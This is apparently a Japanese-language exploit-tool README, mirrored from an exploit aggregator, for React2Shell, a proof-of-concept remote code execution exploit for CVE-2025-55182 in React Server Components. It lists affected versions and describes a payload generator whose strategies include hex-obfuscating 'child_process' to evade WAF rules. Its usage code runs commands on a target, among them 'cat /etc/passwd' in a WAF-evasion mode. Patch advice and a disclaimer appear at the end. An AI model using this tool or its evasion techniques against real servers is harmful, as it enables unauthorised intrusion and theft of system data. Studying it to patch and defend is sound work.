## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RSCH-IO-CVE-2025-55182-REACT2SHELL
# React2Shell
    
**React2Shell** は、**React Server Components** (`RSC`)を利用する最新のWebフレームワークにおける`CRITICAL`なリモートコード実行(`RCE`)の脆弱性を示す概念実証(`PoC`)エクスプロイトです。
このPoCは、**`CVE-2025-55182`** (`CVSS 10.0`)を対象としています。この脆弱性により、**認証されていないリモートの攻撃者** が、React Server Components の実装内での安全でないデシリアライゼーションを介して任意のシステムコマンドを実行できます。
* * *
## 🔍 脆弱性の概要
**React2Shell** は、React Server Components が**再水和(rehydration)**フェーズ中に信頼できない入力を処理する際の欠陥を悪用します。
この脆弱性は、コンポーネントツリーのシリアライズおよびデシリアライズを担う基盤となる `react-server-dom-*` パッケージに起因します。
* * *
## 💥 影響
影響を受けるバージョンの React Server Components を使用するアプリケーションは、悪意のあるペイロードを処理することで、サーバープロセスの権限で**リモートコード実行(`RCE`)**につながる可能性があります。
攻撃者は以下を実行できます:
* 任意のシステムコマンドの実行
* 内部インフラストラクチャへの侵入(ピボット)
* 機密データの窃取
* サービス可用性の妨害
デプロイ環境が下記の脆弱なバージョンのいずれかに該当し、RSC エンドポイントを公開している場合、あなたは**`vulnerable`**(脆弱)です。
* * *
## 📦 影響を受けるコンポーネント
この脆弱性は、以下のバージョン `19.0.0`、`19.1.0`、`19.1.1`、`19.2.0` に存在します:
* `react-server-dom-parcel`
* `react-server-dom-webpack`
* `react-server-dom-turbopack`
* * *
## 🎯 影響を受けるフレームワークとバージョン
これらのパッケージは、複数のフレームワークにバンドルされています。例として以下が挙げられますが、これらに限定されません:
* **Next.js**
* バージョン `15.0.0` から `16.0.6`
* `14.3.0-canary.76` より後の Canary バージョン
* **`RSC`(`v19.0.0`–`19.2.0`)を使用するその他のフレームワーク**。例:
* `Vite`
* `Parcel`
* `React Router`
* `RedwoodSDK`
* `Waku`
脆弱な React Server Components 実装を組み込んでいるフレームワークはすべて、影響を受ける可能性があります。
* * *
## 🛠 機能と特徴
React2Shell には、一般的な Node.js の制限や WAF ルールを回避するために設計されたモジュール式ペイロードジェネレーターが含まれています:
* **標準インジェクション(Standard Injection)**
* `process.mainModule.require` を使用
* デフォルトの `Next.js` / Webpack バンドルを対象
* **非同期バイパス(Async Bypass)**
* `require` が利用できない厳格な ESM 環境向けに、動的 `import()` を使用
* **難読化(Obfuscation)**
* 機密文字列(例: `child_process`)を16進バッファにエンコードし、単純な WAF シグネチャを回避
* **モジュールフォールバック(Module Fallback)**
* `module.createRequire` を活用して、代替コンテキストでモジュールをロード
* **ユニバーサルターゲティング(Universal Targeting)**
* 設定可能なエンドポイント:
* Next.js: ルート `/`
* Waku: `/RSC/foo.txt` などの RSC エンドポイント
* * *
## 🚀 インストール
### 前提条件
* `Node.js` **v18.0.0** 以上
### セットアップ
root@kitploit:~
git clone https://github.com/rsch-io/CVE-2025-55182-React2Shell.git
cd CVE-2025-55182-React2Shell
npm install form-data
* * *
## 📖 使用方法
React2Shell は、独自のテストスクリプトにモジュールとしてインポートして使用することを想定しています。
### 1\. 基本的なエクスプロイト(Next.js ターゲット)
`exploit.js` という名前のファイルを作成します:
root@kitploit:~
const React2Shell = require('./src/react2shell');
// Initialize with target base URL
const target = new React2Shell('http://localhost:3000');
// Execute command using the "standard" strategy
// Arguments: execute(command, endpoint, strategy)
target.execute('whoami', '/', 'standard');
次に実行します:
root@kitploit:~
node exploit.js
> **注意**
>
> * `endpoint` は、RSC が有効なルート(例: `/`、`/RSC/foo.txt`、またはフレームワーク固有の RSC エンドポイント)に設定してください。
> * `strategy` は変更できます(例: `standard`、`async`、`obfuscated`、または `react2shell` に実装されている他のストラテジー)。
>
* * *
### 2\. Waku / カスタムエンドポイントをターゲットにする
Waku やその他のフレームワークは、多くの場合、特定のルートで RSC 処理を公開しています:
root@kitploit:~
// Target a Waku application
// Note: Use 'async' strategy as Waku often runs in strict ESM
target.execute('ls -la', '/RSC/foo.txt', 'async');
* * *
### 3\. WAF 回避モード
サーバーが `child_process` を含む文字列をブロックする場合は、`obfuscated` ストラテジーを使用できます:
root@kitploit:~
target.execute('cat /etc/passwd', '/', 'obfuscated');
* * *
## 🛡️ 解決策と修復
`直ちに更新してください。` 更新版の React および影響を受ける下流フレームワークのリリースには、意図しない動作を防ぐためのユーザー入力処理の強化が含まれています。
すべてのユーザーは、できるだけ早く**パッチ適用済み** バージョンへアップグレードしてください。
### ✅ 修正済みバージョン一覧
以下は、パッチ適用済みバージョンの最終的なリストです。デプロイ中のバージョンがこれらより低い場合、あなたは**`vulnerable`**(脆弱)です。
> **Next.js 14 ユーザーへの警告**
> `Next.js 14.3.0-canary.77` 以降の Canary リリースを使用している場合、あなたは**`vulnerable`**(脆弱)です。
> この脆弱性はそれらの Canary ビルドに含まれる実験的な RSC 実装に影響するため、直ちに最新の安定版 `14.x` リリースへダウングレードする必要があります。
* * *
## ⚠️ 免責事項
このプロジェクトは、**`教育目的`および許可されたセキュリティテストのみ**を目的として提供されています。
明示的な許可なしにこのツールをシステムに対して使用することは、違法かつ非倫理的です。
著者は、このツールによって引き起こされた誤用や損害について**一切の責任を負いません** 。
* * *
## 📄 ライセンス
このプロジェクトは**MIT License** の下でライセンスされています。詳細については、`LICENSE` ファイルを参照してください。